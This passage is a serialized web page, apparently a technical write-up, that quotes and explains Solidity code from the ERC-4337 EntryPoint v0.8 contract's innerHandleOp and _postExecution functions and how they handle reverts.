",{"type":23,"tag":141,"props":103779,"children":103780},{"style":160},[103781],{"type":29,"value":1377},{"type":23,"tag":141,"props":103783,"children":103784},{"style":154},[103785],{"type":29,"value":103786}," preGas ",{"type":23,"tag":141,"props":103788,"children":103789},{"style":160},[103790],{"type":29,"value":3004},{"type":23,"tag":141,"props":103792,"children":103793},{"style":449},[103794],{"type":29,"value":103795}," gasleft",{"type":23,"tag":141,"props":103797,"children":103798},{"style":154},[103799],{"type":29,"value":12720},{"type":23,"tag":141,"props":103801,"children":103802},{"style":160},[103803],{"type":29,"value":3058},{"type":23,"tag":141,"props":103805,"children":103806},{"style":154},[103807],{"type":29,"value":103808}," opInfo.preOpGas;\n",{"type":23,"tag":141,"props":103810,"children":103811},{"class":143,"line":22232},[103812,103816,103820,103824],{"type":23,"tag":141,"props":103813,"children":103814},{"style":725},[103815],{"type":29,"value":101945},{"type":23,"tag":141,"props":103817,"children":103818},{"style":154},[103819],{"type":29,"value":102592},{"type":23,"tag":141,"props":103821,"children":103822},{"style":160},[103823],{"type":29,"value":1377},{"type":23,"tag":141,"props":103825,"children":103826},{"style":154},[103827],{"type":29,"value":103828}," opInfo.prefund;\n",{"type":23,"tag":141,"props":103830,"children":103831},{"class":143,"line":22241},[103832,103837],{"type":23,"tag":141,"props":103833,"children":103834},{"style":184},[103835],{"type":29,"value":103836}," _emitPrefundTooLow",{"type":23,"tag":141,"props":103838,"children":103839},{"style":154},[103840],{"type":29,"value":103841},"(opInfo);\n",{"type":23,"tag":141,"props":103843,"children":103844},{"class":143,"line":22283},[103845,103850,103855,103859],{"type":23,"tag":141,"props":103846,"children":103847},{"style":184},[103848],{"type":29,"value":103849}," _emitUserOperationEvent",{"type":23,"tag":141,"props":103851,"children":103852},{"style":154},[103853],{"type":29,"value":103854},"(opInfo, ",{"type":23,"tag":141,"props":103856,"children":103857},{"style":449},[103858],{"type":29,"value":6850},{"type":23,"tag":141,"props":103860,"children":103861},{"style":154},[103862],{"type":29,"value":103863},", actualGasCost, actualGas);\n",{"type":23,"tag":141,"props":103865,"children":103866},{"class":143,"line":22316},[103867,103871,103875],{"type":23,"tag":141,"props":103868,"children":103869},{"style":154},[103870],{"type":29,"value":103590},{"type":23,"tag":141,"props":103872,"children":103873},{"style":160},[103874],{"type":29,"value":1377},{"type":23,"tag":141,"props":103876,"children":103877},{"style":154},[103878],{"type":29,"value":103879}," actualGasCost;\n",{"type":23,"tag":141,"props":103881,"children":103882},{"class":143,"line":22324},[103883,103887,103891],{"type":23,"tag":141,"props":103884,"children":103885},{"style":154},[103886],{"type":29,"value":69077},{"type":23,"tag":141,"props":103888,"children":103889},{"style":148},[103890],{"type":29,"value":1976},{"type":23,"tag":141,"props":103892,"children":103893},{"style":154},[103894],{"type":29,"value":1951},{"type":23,"tag":141,"props":103896,"children":103897},{"class":143,"line":22332},[103898],{"type":23,"tag":141,"props":103899,"children":103900},{"style":154},[103901],{"type":29,"value":103286},{"type":23,"tag":141,"props":103903,"children":103904},{"class":143,"line":22341},[103905,103909,103913,103918],{"type":23,"tag":141,"props":103906,"children":103907},{"style":154},[103908],{"type":29,"value":103590},{"type":23,"tag":141,"props":103910,"children":103911},{"style":160},[103912],{"type":29,"value":1377},{"type":23,"tag":141,"props":103914,"children":103915},{"style":184},[103916],{"type":29,"value":103917}," _postExecution",{"type":23,"tag":141,"props":103919,"children":103920},{"style":154},[103921],{"type":29,"value":2123},{"type":23,"tag":141,"props":103923,"children":103924},{"class":143,"line":22417},[103925],{"type":23,"tag":141,"props":103926,"children":103927},{"style":154},[103928],{"type":29,"value":103929}," IPaymaster.PostOpMode.postOpReverted,\n",{"type":23,"tag":141,"props":103931,"children":103932},{"class":143,"line":22450},[103933],{"type":23,"tag":141,"props":103934,"children":103935},{"style":154},[103936],{"type":29,"value":103937}," opInfo,\n",{"type":23,"tag":141,"props":103939,"children":103940},{"class":143,"line":22458},[103941],{"type":23,"tag":141,"props":103942,"children":103943},{"style":154},[103944],{"type":29,"value":103945}," context,\n",{"type":23,"tag":141,"props":103947,"children":103948},{"class":143,"line":22466},[103949],{"type":23,"tag":141,"props":103950,"children":103951},{"style":154},[103952],{"type":29,"value":103953}," actualGas\n",{"type":23,"tag":141,"props":103955,"children":103956},{"class":143,"line":22503},[103957],{"type":23,"tag":141,"props":103958,"children":103959},{"style":154},[103960],{"type":29,"value":103961}," );\n",{"type":23,"tag":141,"props":103963,"children":103964},{"class":143,"line":22516},[103965],{"type":23,"tag":141,"props":103966,"children":103967},{"style":154},[103968],{"type":29,"value":57365},{"type":23,"tag":141,"props":103970,"children":103971},{"class":143,"line":22529},[103972],{"type":23,"tag":141,"props":103973,"children":103974},{"style":154},[103975],{"type":29,"value":2008},{"type":23,"tag":141,"props":103977,"children":103978},{"class":143,"line":22542},[103979],{"type":23,"tag":141,"props":103980,"children":103981},{"style":154},[103982],{"type":29,"value":299},{"type":23,"tag":32,"props":103984,"children":103985},{},[103986,103988,103993,103995,104001,104003,104009,104011,104017],{"type":29,"value":103987},"During execution, the ",{"type":23,"tag":38,"props":103989,"children":103991},{"className":103990},[],[103992],{"type":29,"value":100748},{"type":29,"value":103994}," contract makes a ",{"type":23,"tag":55,"props":103996,"children":103999},{"href":103997,"rel":103998},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[59],[104000],{"type":29,"value":36767},{"type":29,"value":104002}," to its own ",{"type":23,"tag":38,"props":104004,"children":104006},{"className":104005},[],[104007],{"type":29,"value":104008},"innerHandleOp",{"type":29,"value":104010}," function through a low-level ",{"type":23,"tag":38,"props":104012,"children":104014},{"className":104013},[],[104015],{"type":29,"value":104016},"call()",{"type":29,"value":104018},". This is done to create a new call context for executing the user operation.",{"type":23,"tag":32,"props":104020,"children":104021},{},[104022,104024,104030,104031,104036,104038,104045,104047,104053],{"type":29,"value":104023},"If this call fails (when ",{"type":23,"tag":38,"props":104025,"children":104027},{"className":104026},[],[104028],{"type":29,"value":104029},"success",{"type":29,"value":4175},{"type":23,"tag":38,"props":104032,"children":104034},{"className":104033},[],[104035],{"type":29,"value":6850},{"type":29,"value":104037},"), the code enters an ",{"type":23,"tag":55,"props":104039,"children":104042},{"href":104040,"rel":104041},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[59],[104043],{"type":29,"value":104044},"error handling",{"type":29,"value":104046}," flow that checks the ",{"type":23,"tag":38,"props":104048,"children":104050},{"className":104049},[],[104051],{"type":29,"value":104052},"innerRevertCode",{"type":29,"value":104054},". There are three possible paths:",{"type":23,"tag":116,"props":104056,"children":104057},{},[104058,104082,104100],{"type":23,"tag":120,"props":104059,"children":104060},{},[104061,104062,104067,104068,104074,104076,104081],{"type":29,"value":6154},{"type":23,"tag":38,"props":104063,"children":104065},{"className":104064},[],[104066],{"type":29,"value":104052},{"type":29,"value":4175},{"type":23,"tag":38,"props":104069,"children":104071},{"className":104070},[],[104072],{"type":29,"value":104073},"INNER_OUT_OF_GAS",{"type":29,"value":104075},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":23,"tag":38,"props":104077,"children":104079},{"className":104078},[],[104080],{"type":29,"value":103725},{"type":29,"value":322},{"type":23,"tag":120,"props":104083,"children":104084},{},[104085,104086,104091,104092,104098],{"type":29,"value":6154},{"type":23,"tag":38,"props":104087,"children":104089},{"className":104088},[],[104090],{"type":29,"value":104052},{"type":29,"value":4175},{"type":23,"tag":38,"props":104093,"children":104095},{"className":104094},[],[104096],{"type":29,"value":104097},"INNER_REVERT_LOW_PREFUND",{"type":29,"value":104099},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":23,"tag":120,"props":104101,"children":104102},{},[104103,104105,104111,104113,104119],{"type":29,"value":104104},"For any other revert reason, the code will still call ",{"type":23,"tag":38,"props":104106,"children":104108},{"className":104107},[],[104109],{"type":29,"value":104110},"_postExecution()",{"type":29,"value":104112}," but with ",{"type":23,"tag":38,"props":104114,"children":104116},{"className":104115},[],[104117],{"type":29,"value":104118},"PostOpMode.postOpReverted",{"type":29,"value":104120},". This ensures proper cleanup happens even on failure.",{"type":23,"tag":32,"props":104122,"children":104123},{},[104124,104126,104131,104133,104138,104140,104145,104147,104152],{"type":29,"value":104125},"We're particularly interested in the third error path, where ",{"type":23,"tag":38,"props":104127,"children":104129},{"className":104128},[],[104130],{"type":29,"value":104052},{"type":29,"value":104132}," is neither ",{"type":23,"tag":38,"props":104134,"children":104136},{"className":104135},[],[104137],{"type":29,"value":104073},{"type":29,"value":104139}," nor ",{"type":23,"tag":38,"props":104141,"children":104143},{"className":104142},[],[104144],{"type":29,"value":104097},{"type":29,"value":104146},". To understand this case better, let's examine how ",{"type":23,"tag":38,"props":104148,"children":104150},{"className":104149},[],[104151],{"type":29,"value":104008},{"type":29,"value":104153}," works.",{"type":23,"tag":131,"props":104155,"children":104157},{"className":432,"code":104156,"language":17,"meta":7,"style":7}," function innerHandleOp(\n bytes memory callData,\n UserOpInfo memory opInfo,\n bytes calldata context\n ) external returns (uint256 actualGasCost) {\n [...]\n IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n if (callData.length > 0) {\n bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n if (!success) {\n uint256 freePtr = _getFreePtr();\n bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n if (result.length > 0) {\n emit UserOperationRevertReason(\n opInfo.userOpHash,\n mUserOp.sender,\n mUserOp.nonce,\n result\n );\n }\n _restoreFreePtr(freePtr);\n mode = IPaymaster.PostOpMode.opReverted;\n }\n }\n\n unchecked {\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n return _postExecution(mode, opInfo, context, actualGas);\n }\n }\n",[104158],{"type":23,"tag":38,"props":104159,"children":104160},{"__ignoreMap":7},[104161,104177,104198,104218,104234,104267,104274,104291,104315,104355,104374,104399,104433,104457,104474,104482,104490,104498,104506,104514,104521,104534,104551,104558,104565,104572,104583,104622,104638,104645],{"type":23,"tag":141,"props":104162,"children":104163},{"class":143,"line":144},[104164,104168,104173],{"type":23,"tag":141,"props":104165,"children":104166},{"style":449},[104167],{"type":29,"value":88316},{"type":23,"tag":141,"props":104169,"children":104170},{"style":184},[104171],{"type":29,"value":104172}," innerHandleOp",{"type":23,"tag":141,"props":104174,"children":104175},{"style":154},[104176],{"type":29,"value":2123},{"type":23,"tag":141,"props":104178,"children":104179},{"class":143,"line":180},[104180,104185,104189,104194],{"type":23,"tag":141,"props":104181,"children":104182},{"style":725},[104183],{"type":29,"value":104184}," bytes",{"type":23,"tag":141,"props":104186,"children":104187},{"style":449},[104188],{"type":29,"value":101565},{"type":23,"tag":141,"props":104190,"children":104191},{"style":750},[104192],{"type":29,"value":104193}," callData",{"type":23,"tag":141,"props":104195,"children":104196},{"style":154},[104197],{"type":29,"value":2168},{"type":23,"tag":141,"props":104199,"children":104200},{"class":143,"line":205},[104201,104205,104209,104214],{"type":23,"tag":141,"props":104202,"children":104203},{"style":449},[104204],{"type":29,"value":103225},{"type":23,"tag":141,"props":104206,"children":104207},{"style":449},[104208],{"type":29,"value":101565},{"type":23,"tag":141,"props":104210,"children":104211},{"style":750},[104212],{"type":29,"value":104213}," opInfo",{"type":23,"tag":141,"props":104215,"children":104216},{"style":154},[104217],{"type":29,"value":2168},{"type":23,"tag":141,"props":104219,"children":104220},{"class":143,"line":218},[104221,104225,104229],{"type":23,"tag":141,"props":104222,"children":104223},{"style":725},[104224],{"type":29,"value":104184},{"type":23,"tag":141,"props":104226,"children":104227},{"style":449},[104228],{"type":29,"value":101497},{"type":23,"tag":141,"props":104230,"children":104231},{"style":750},[104232],{"type":29,"value":104233}," context\n",{"type":23,"tag":141,"props":104235,"children":104236},{"class":143,"line":227},[104237,104242,104247,104251,104255,104259,104263],{"type":23,"tag":141,"props":104238,"children":104239},{"style":154},[104240],{"type":29,"value":104241}," ) ",{"type":23,"tag":141,"props":104243,"children":104244},{"style":449},[104245],{"type":29,"value":104246},"external",{"type":23,"tag":141,"props":104248,"children":104249},{"style":148},[104250],{"type":29,"value":74478},{"type":23,"tag":141,"props":104252,"children":104253},{"style":154},[104254],{"type":29,"value":1220},{"type":23,"tag":141,"props":104256,"children":104257},{"style":725},[104258],{"type":29,"value":44645},{"type":23,"tag":141,"props":104260,"children":104261},{"style":750},[104262],{"type":29,"value":102306},{"type":23,"tag":141,"props":104264,"children":104265},{"style":154},[104266],{"type":29,"value":13480},{"type":23,"tag":141,"props":104268,"children":104269},{"class":143,"line":241},[104270],{"type":23,"tag":141,"props":104271,"children":104272},{"style":154},[104273],{"type":29,"value":103286},{"type":23,"tag":141,"props":104275,"children":104276},{"class":143,"line":262},[104277,104282,104286],{"type":23,"tag":141,"props":104278,"children":104279},{"style":154},[104280],{"type":29,"value":104281}," IPaymaster.PostOpMode mode ",{"type":23,"tag":141,"props":104283,"children":104284},{"style":160},[104285],{"type":29,"value":1377},{"type":23,"tag":141,"props":104287,"children":104288},{"style":154},[104289],{"type":29,"value":104290}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":23,"tag":141,"props":104292,"children":104293},{"class":143,"line":271},[104294,104298,104303,104307,104311],{"type":23,"tag":141,"props":104295,"children":104296},{"style":148},[104297],{"type":29,"value":233},{"type":23,"tag":141,"props":104299,"children":104300},{"style":154},[104301],{"type":29,"value":104302}," (callData.length ",{"type":23,"tag":141,"props":104304,"children":104305},{"style":160},[104306],{"type":29,"value":9142},{"type":23,"tag":141,"props":104308,"children":104309},{"style":472},[104310],{"type":29,"value":1707},{"type":23,"tag":141,"props":104312,"children":104313},{"style":154},[104314],{"type":29,"value":13480},{"type":23,"tag":141,"props":104316,"children":104317},{"class":143,"line":293},[104318,104323,104328,104332,104337,104341,104346,104350],{"type":23,"tag":141,"props":104319,"children":104320},{"style":725},[104321],{"type":29,"value":104322}," bool",{"type":23,"tag":141,"props":104324,"children":104325},{"style":154},[104326],{"type":29,"value":104327}," success ",{"type":23,"tag":141,"props":104329,"children":104330},{"style":160},[104331],{"type":29,"value":1377},{"type":23,"tag":141,"props":104333,"children":104334},{"style":154},[104335],{"type":29,"value":104336}," Exec.",{"type":23,"tag":141,"props":104338,"children":104339},{"style":184},[104340],{"type":29,"value":36767},{"type":23,"tag":141,"props":104342,"children":104343},{"style":154},[104344],{"type":29,"value":104345},"(mUserOp.sender, ",{"type":23,"tag":141,"props":104347,"children":104348},{"style":472},[104349],{"type":29,"value":2698},{"type":23,"tag":141,"props":104351,"children":104352},{"style":154},[104353],{"type":29,"value":104354},", callData, callGasLimit);\n",{"type":23,"tag":141,"props":104356,"children":104357},{"class":143,"line":801},[104358,104362,104366,104370],{"type":23,"tag":141,"props":104359,"children":104360},{"style":148},[104361],{"type":29,"value":57281},{"type":23,"tag":141,"props":104363,"children":104364},{"style":154},[104365],{"type":29,"value":1220},{"type":23,"tag":141,"props":104367,"children":104368},{"style":160},[104369],{"type":29,"value":19293},{"type":23,"tag":141,"props":104371,"children":104372},{"style":154},[104373],{"type":29,"value":103658},{"type":23,"tag":141,"props":104375,"children":104376},{"class":143,"line":810},[104377,104381,104386,104390,104395],{"type":23,"tag":141,"props":104378,"children":104379},{"style":725},[104380],{"type":29,"value":101945},{"type":23,"tag":141,"props":104382,"children":104383},{"style":154},[104384],{"type":29,"value":104385}," freePtr ",{"type":23,"tag":141,"props":104387,"children":104388},{"style":160},[104389],{"type":29,"value":1377},{"type":23,"tag":141,"props":104391,"children":104392},{"style":184},[104393],{"type":29,"value":104394}," _getFreePtr",{"type":23,"tag":141,"props":104396,"children":104397},{"style":154},[104398],{"type":29,"value":1305},{"type":23,"tag":141,"props":104400,"children":104401},{"class":143,"line":824},[104402,104406,104410,104415,104419,104423,104428],{"type":23,"tag":141,"props":104403,"children":104404},{"style":725},[104405],{"type":29,"value":103342},{"type":23,"tag":141,"props":104407,"children":104408},{"style":449},[104409],{"type":29,"value":101565},{"type":23,"tag":141,"props":104411,"children":104412},{"style":154},[104413],{"type":29,"value":104414}," result ",{"type":23,"tag":141,"props":104416,"children":104417},{"style":160},[104418],{"type":29,"value":1377},{"type":23,"tag":141,"props":104420,"children":104421},{"style":154},[104422],{"type":29,"value":104336},{"type":23,"tag":141,"props":104424,"children":104425},{"style":184},[104426],{"type":29,"value":104427},"getReturnData",{"type":23,"tag":141,"props":104429,"children":104430},{"style":154},[104431],{"type":29,"value":104432},"(REVERT_REASON_MAX_LEN);\n",{"type":23,"tag":141,"props":104434,"children":104435},{"class":143,"line":839},[104436,104440,104445,104449,104453],{"type":23,"tag":141,"props":104437,"children":104438},{"style":148},[104439],{"type":29,"value":102005},{"type":23,"tag":141,"props":104441,"children":104442},{"style":154},[104443],{"type":29,"value":104444}," (result.length ",{"type":23,"tag":141,"props":104446,"children":104447},{"style":160},[104448],{"type":29,"value":9142},{"type":23,"tag":141,"props":104450,"children":104451},{"style":472},[104452],{"type":29,"value":1707},{"type":23,"tag":141,"props":104454,"children":104455},{"style":154},[104456],{"type":29,"value":13480},{"type":23,"tag":141,"props":104458,"children":104459},{"class":143,"line":848},[104460,104465,104470],{"type":23,"tag":141,"props":104461,"children":104462},{"style":148},[104463],{"type":29,"value":104464}," emit",{"type":23,"tag":141,"props":104466,"children":104467},{"style":184},[104468],{"type":29,"value":104469}," UserOperationRevertReason",{"type":23,"tag":141,"props":104471,"children":104472},{"style":154},[104473],{"type":29,"value":2123},{"type":23,"tag":141,"props":104475,"children":104476},{"class":143,"line":2304},[104477],{"type":23,"tag":141,"props":104478,"children":104479},{"style":154},[104480],{"type":29,"value":104481}," opInfo.userOpHash,\n",{"type":23,"tag":141,"props":104483,"children":104484},{"class":143,"line":2313},[104485],{"type":23,"tag":141,"props":104486,"children":104487},{"style":154},[104488],{"type":29,"value":104489}," mUserOp.sender,\n",{"type":23,"tag":141,"props":104491,"children":104492},{"class":143,"line":2335},[104493],{"type":23,"tag":141,"props":104494,"children":104495},{"style":154},[104496],{"type":29,"value":104497}," mUserOp.nonce,\n",{"type":23,"tag":141,"props":104499,"children":104500},{"class":143,"line":2343},[104501],{"type":23,"tag":141,"props":104502,"children":104503},{"style":154},[104504],{"type":29,"value":104505}," result\n",{"type":23,"tag":141,"props":104507,"children":104508},{"class":143,"line":2352},[104509],{"type":23,"tag":141,"props":104510,"children":104511},{"style":154},[104512],{"type":29,"value":104513}," );\n",{"type":23,"tag":141,"props":104515,"children":104516},{"class":143,"line":2421},[104517],{"type":23,"tag":141,"props":104518,"children":104519},{"style":154},[104520],{"type":29,"value":69554},{"type":23,"tag":141,"props":104522,"children":104523},{"class":143,"line":2429},[104524,104529],{"type":23,"tag":141,"props":104525,"children":104526},{"style":184},[104527],{"type":29,"value":104528}," _restoreFreePtr",{"type":23,"tag":141,"props":104530,"children":104531},{"style":154},[104532],{"type":29,"value":104533},"(freePtr);\n",{"type":23,"tag":141,"props":104535,"children":104536},{"class":143,"line":2459},[104537,104542,104546],{"type":23,"tag":141,"props":104538,"children":104539},{"style":154},[104540],{"type":29,"value":104541}," mode ",{"type":23,"tag":141,"props":104543,"children":104544},{"style":160},[104545],{"type":29,"value":1377},{"type":23,"tag":141,"props":104547,"children":104548},{"style":154},[104549],{"type":29,"value":104550}," IPaymaster.PostOpMode.opReverted;\n",{"type":23,"tag":141,"props":104552,"children":104553},{"class":143,"line":2467},[104554],{"type":23,"tag":141,"props":104555,"children":104556},{"style":154},[104557],{"type":29,"value":57365},{"type":23,"tag":141,"props":104559,"children":104560},{"class":143,"line":2499},[104561],{"type":23,"tag":141,"props":104562,"children":104563},{"style":154},[104564],{"type":29,"value":2008},{"type":23,"tag":141,"props":104566,"children":104567},{"class":143,"line":2507},[104568],{"type":23,"tag":141,"props":104569,"children":104570},{"emptyLinePlaceholder":15},[104571],{"type":29,"value":719},{"type":23,"tag":141,"props":104573,"children":104574},{"class":143,"line":2567},[104575,104579],{"type":23,"tag":141,"props":104576,"children":104577},{"style":148},[104578],{"type":29,"value":101601},{"type":23,"tag":141,"props":104580,"children":104581},{"style":154},[104582],{"type":29,"value":1951},{"type":23,"tag":141,"props":104584,"children":104585},{"class":143,"line":7724},[104586,104590,104594,104598,104602,104606,104610,104614,104618],{"type":23,"tag":141,"props":104587,"children":104588},{"style":725},[104589],{"type":29,"value":101613},{"type":23,"tag":141,"props":104591,"children":104592},{"style":154},[104593],{"type":29,"value":103777},{"type":23,"tag":141,"props":104595,"children":104596},{"style":160},[104597],{"type":29,"value":1377},{"type":23,"tag":141,"props":104599,"children":104600},{"style":154},[104601],{"type":29,"value":103786},{"type":23,"tag":141,"props":104603,"children":104604},{"style":160},[104605],{"type":29,"value":3004},{"type":23,"tag":141,"props":104607,"children":104608},{"style":449},[104609],{"type":29,"value":103795},{"type":23,"tag":141,"props":104611,"children":104612},{"style":154},[104613],{"type":29,"value":12720},{"type":23,"tag":141,"props":104615,"children":104616},{"style":160},[104617],{"type":29,"value":3058},{"type":23,"tag":141,"props":104619,"children":104620},{"style":154},[104621],{"type":29,"value":103808},{"type":23,"tag":141,"props":104623,"children":104624},{"class":143,"line":7742},[104625,104629,104633],{"type":23,"tag":141,"props":104626,"children":104627},{"style":148},[104628],{"type":29,"value":77561},{"type":23,"tag":141,"props":104630,"children":104631},{"style":184},[104632],{"type":29,"value":103917},{"type":23,"tag":141,"props":104634,"children":104635},{"style":154},[104636],{"type":29,"value":104637},"(mode, opInfo, context, actualGas);\n",{"type":23,"tag":141,"props":104639,"children":104640},{"class":143,"line":7787},[104641],{"type":23,"tag":141,"props":104642,"children":104643},{"style":154},[104644],{"type":29,"value":2008},{"type":23,"tag":141,"props":104646,"children":104647},{"class":143,"line":7893},[104648],{"type":23,"tag":141,"props":104649,"children":104650},{"style":154},[104651],{"type":29,"value":299},{"type":23,"tag":32,"props":104653,"children":104654},{},[104655,104657,104662,104664,104669,104671,104677,104679,104685,104687,104692,104694,104704],{"type":29,"value":104656},"We observe that, in the happy path, ",{"type":23,"tag":38,"props":104658,"children":104660},{"className":104659},[],[104661],{"type":29,"value":104008},{"type":29,"value":104663}," is expected to not only execute the actual ",{"type":23,"tag":38,"props":104665,"children":104667},{"className":104666},[],[104668],{"type":29,"value":100667},{"type":29,"value":104670}," call, but also call ",{"type":23,"tag":38,"props":104672,"children":104674},{"className":104673},[],[104675],{"type":29,"value":104676},"_postExecution",{"type":29,"value":104678},". This means that the third failure handling path, which passes ",{"type":23,"tag":38,"props":104680,"children":104682},{"className":104681},[],[104683],{"type":29,"value":104684},"postOpReverted",{"type":29,"value":104686}," as its mode, happens when something goes wrong with the ",{"type":23,"tag":38,"props":104688,"children":104690},{"className":104689},[],[104691],{"type":29,"value":104676},{"type":29,"value":104693}," call ",{"type":23,"tag":3998,"props":104695,"children":104696},{},[104697,104699],{"type":29,"value":104698},"inside ",{"type":23,"tag":38,"props":104700,"children":104702},{"className":104701},[],[104703],{"type":29,"value":104008},{"type":29,"value":322},{"type":23,"tag":32,"props":104706,"children":104707},{},[104708,104710,104715],{"type":29,"value":104709},"Let's examine the ",{"type":23,"tag":38,"props":104711,"children":104713},{"className":104712},[],[104714],{"type":29,"value":104676},{"type":29,"value":104716}," code to understand where the revert might occur.",{"type":23,"tag":131,"props":104718,"children":104720},{"className":432,"code":104719,"language":17,"meta":7,"style":7}," function _postExecution(\n IPaymaster.PostOpMode mode,\n UserOpInfo memory opInfo,\n bytes memory context,\n uint256 actualGas\n ) internal virtual returns (uint256 actualGasCost) {\n [...]\n if (paymaster == address(0)) {\n refundAddress = mUserOp.sender;\n } else {\n refundAddress = paymaster;\n if (context.length > 0) {\n actualGasCost = actualGas * gasPrice;\n uint256 postOpPreGas = gasleft();\n if (mode != IPaymaster.PostOpMode.postOpReverted) {\n try IPaymaster(paymaster).postOp{\n gas: mUserOp.paymasterPostOpGasLimit\n }(mode, context, actualGasCost, gasPrice)\n // solhint-disable-next-line no-empty-blocks\n {} catch {\n bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n revert PostOpReverted(reason);\n }\n }\n // Calculating a penalty for unused postOp gas\n // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n uint256 postOpGasUsed = postOpPreGas - gasleft();\n postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n }\n }\n [...]\n }\n",[104721],{"type":23,"tag":38,"props":104722,"children":104723},{"__ignoreMap":7},[104724,104739,104764,104783,104802,104814,104851,104858,104890,104907,104922,104938,104962,104987,105011,105033,105051,105068,105076,105094,105110,105143,105161,105168,105175,105183,105199,105231,105253,105260,105267,105274],{"type":23,"tag":141,"props":104725,"children":104726},{"class":143,"line":144},[104727,104731,104735],{"type":23,"tag":141,"props":104728,"children":104729},{"style":449},[104730],{"type":29,"value":88316},{"type":23,"tag":141,"props":104732,"children":104733},{"style":184},[104734],{"type":29,"value":103917},{"type":23,"tag":141,"props":104736,"children":104737},{"style":154},[104738],{"type":29,"value":2123},{"type":23,"tag":141,"props":104740,"children":104741},{"class":143,"line":180},[104742,104747,104751,104755,104760],{"type":23,"tag":141,"props":104743,"children":104744},{"style":449},[104745],{"type":29,"value":104746}," IPaymaster",{"type":23,"tag":141,"props":104748,"children":104749},{"style":154},[104750],{"type":29,"value":322},{"type":23,"tag":141,"props":104752,"children":104753},{"style":750},[104754],{"type":29,"value":102277},{"type":23,"tag":141,"props":104756,"children":104757},{"style":750},[104758],{"type":29,"value":104759}," mode",{"type":23,"tag":141,"props":104761,"children":104762},{"style":154},[104763],{"type":29,"value":2168},{"type":23,"tag":141,"props":104765,"children":104766},{"class":143,"line":205},[104767,104771,104775,104779],{"type":23,"tag":141,"props":104768,"children":104769},{"style":449},[104770],{"type":29,"value":103225},{"type":23,"tag":141,"props":104772,"children":104773},{"style":449},[104774],{"type":29,"value":101565},{"type":23,"tag":141,"props":104776,"children":104777},{"style":750},[104778],{"type":29,"value":104213},{"type":23,"tag":141,"props":104780,"children":104781},{"style":154},[104782],{"type":29,"value":2168},{"type":23,"tag":141,"props":104784,"children":104785},{"class":143,"line":218},[104786,104790,104794,104798],{"type":23,"tag":141,"props":104787,"children":104788},{"style":725},[104789],{"type":29,"value":104184},{"type":23,"tag":141,"props":104791,"children":104792},{"style":449},[104793],{"type":29,"value":101565},{"type":23,"tag":141,"props":104795,"children":104796},{"style":750},[104797],{"type":29,"value":74825},{"type":23,"tag":141,"props":104799,"children":104800},{"style":154},[104801],{"type":29,"value":2168},{"type":23,"tag":141,"props":104803,"children":104804},{"class":143,"line":227},[104805,104809],{"type":23,"tag":141,"props":104806,"children":104807},{"style":725},[104808],{"type":29,"value":88494},{"type":23,"tag":141,"props":104810,"children":104811},{"style":750},[104812],{"type":29,"value":104813}," actualGas\n",{"type":23,"tag":141,"props":104815,"children":104816},{"class":143,"line":241},[104817,104821,104826,104831,104835,104839,104843,104847],{"type":23,"tag":141,"props":104818,"children":104819},{"style":154},[104820],{"type":29,"value":104241},{"type":23,"tag":141,"props":104822,"children":104823},{"style":449},[104824],{"type":29,"value":104825},"internal",{"type":23,"tag":141,"props":104827,"children":104828},{"style":449},[104829],{"type":29,"value":104830}," virtual",{"type":23,"tag":141,"props":104832,"children":104833},{"style":148},[104834],{"type":29,"value":74478},{"type":23,"tag":141,"props":104836,"children":104837},{"style":154},[104838],{"type":29,"value":1220},{"type":23,"tag":141,"props":104840,"children":104841},{"style":725},[104842],{"type":29,"value":44645},{"type":23,"tag":141,"props":104844,"children":104845},{"style":750},[104846],{"type":29,"value":102306},{"type":23,"tag":141,"props":104848,"children":104849},{"style":154},[104850],{"type":29,"value":13480},{"type":23,"tag":141,"props":104852,"children":104853},{"class":143,"line":262},[104854],{"type":23,"tag":141,"props":104855,"children":104856},{"style":154},[104857],{"type":29,"value":103286},{"type":23,"tag":141,"props":104859,"children":104860},{"class":143,"line":271},[104861,104865,104870,104874,104878,104882,104886],{"type":23,"tag":141,"props":104862,"children":104863},{"style":148},[104864],{"type":29,"value":57281},{"type":23,"tag":141,"props":104866,"children":104867},{"style":154},[104868],{"type":29,"value":104869}," (paymaster ",{"type":23,"tag":141,"props":104871,"children":104872},{"style":160},[104873],{"type":29,"value":7251},{"type":23,"tag":141,"props":104875,"children":104876},{"style":725},[104877],{"type":29,"value":4924},{"type":23,"tag":141,"props":104879,"children":104880},{"style":154},[104881],{"type":29,"value":192},{"type":23,"tag":141,"props":104883,"children":104884},{"style":472},[104885],{"type":29,"value":2698},{"type":23,"tag":141,"props":104887,"children":104888},{"style":154},[104889],{"type":29,"value":33664},{"type":23,"tag":141,"props":104891,"children":104892},{"class":143,"line":293},[104893,104898,104902],{"type":23,"tag":141,"props":104894,"children":104895},{"style":154},[104896],{"type":29,"value":104897}," refundAddress ",{"type":23,"tag":141,"props":104899,"children":104900},{"style":160},[104901],{"type":29,"value":1377},{"type":23,"tag":141,"props":104903,"children":104904},{"style":154},[104905],{"type":29,"value":104906}," 